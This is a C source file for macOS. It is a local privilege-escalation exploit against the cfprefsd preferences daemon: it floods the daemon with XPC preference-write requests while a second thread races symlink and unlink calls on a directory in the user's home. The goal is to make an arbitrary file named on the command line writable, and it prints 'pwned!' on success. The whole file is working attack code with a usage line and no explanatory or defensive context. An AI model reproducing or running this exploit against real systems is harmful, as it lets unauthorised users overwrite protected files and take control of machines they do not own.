#include <sandbox.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pwd.h>
#include <string.h>
#include <unistd.h>
#include <mach/mach.h>
#include <xpc/xpc.h>
#include <pthread.h>

char *TARGET;
char *WRITABLE;
char *USER;

const int COUNT = 10000;
int status = 0;
bool pwned = false;

void *race(void *arg) {
	while(!pwned) {
		symlink(TARGET, "!");
		unlink("!/a.plist");
		rmdir("!");
		unlink("!");
	}
	return NULL;
}

void exploit() {
	char *serviceName = "com.apple.cfprefsd.daemon";
	status = 0;

	xpc_connection_t conn;
	xpc_object_t msg;

	conn = xpc_connection_create_mach_service(serviceName, NULL, 0);
	if (conn == NULL) {
		perror("xpc_connection_create_mach_service");
		return;
	}

	xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) {
		status++;
	});

	xpc_connection_resume(conn);

	msg = xpc_dictionary_create(NULL, NULL, 0);
	xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1);
	xpc_dictionary_set_string(msg, "CFPreferencesUser", USER);
	char writable_subpath[0x1000];
	sprintf(writable_subpath, "%s%s", WRITABLE, "/!/a.plist");
	xpc_dictionary_set_string(msg, "CFPreferencesDomain", writable_subpath);
	xpc_dictionary_set_bool(msg, "CFPreferencesUseCorrectOwner", true);
	xpc_dictionary_set_bool(msg, "CFPreferencesAvoidCache", true);
	xpc_dictionary_set_string(msg, "Key", "key");
	xpc_dictionary_set_string(msg, "Value", "value");

	for(int i = 0; i < COUNT; i++) {
		xpc_connection_send_message(conn, msg);
	}

	while(status < COUNT) {
		usleep(100000);
	}
}

void *pwn(void *arg) {
	while(1) {
		int testaccess = access(TARGET, W_OK);
		if(!testaccess) {
			printf("pwned! %s is now writable!\n", TARGET);
			pwned = true;
			break;
		} else {
			perror("access");
		}
		usleep(1000000);
	}

	return NULL;
}

static void
connection_handler(xpc_connection_t peer)
{
	xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
		printf("Message received: %p\n", event);
	});

	xpc_connection_resume(peer);
}

void make_writable(char * target) {
	struct passwd *pw = getpwuid(getuid());
	if(!pw) {
		perror("getpwuid");
		exit(1);
	}

	WRITABLE = pw->pw_dir;
	USER = pw->pw_name;
	TARGET = target;

	setvbuf(stdout, 0, 2, 0);
	chdir(WRITABLE);

	pthread_t thread[2];
	pthread_create(&thread[0], NULL, race, NULL);
	pthread_create(&thread[1], NULL, pwn, NULL);
	while(!pwned) {
		printf("Trying %d calls...\n", COUNT);
		exploit();
	}
	unlink("!/a.plist");
	rmdir("!");
	unlink("!");
}

int main(int argc, char *argv[]) {
	if (argc < 2) {
		printf("Usage: %s /file/to/make/writable\n", argv[0]);
		return -1;
	}
	make_writable(argv[1]);
	return 0;
}

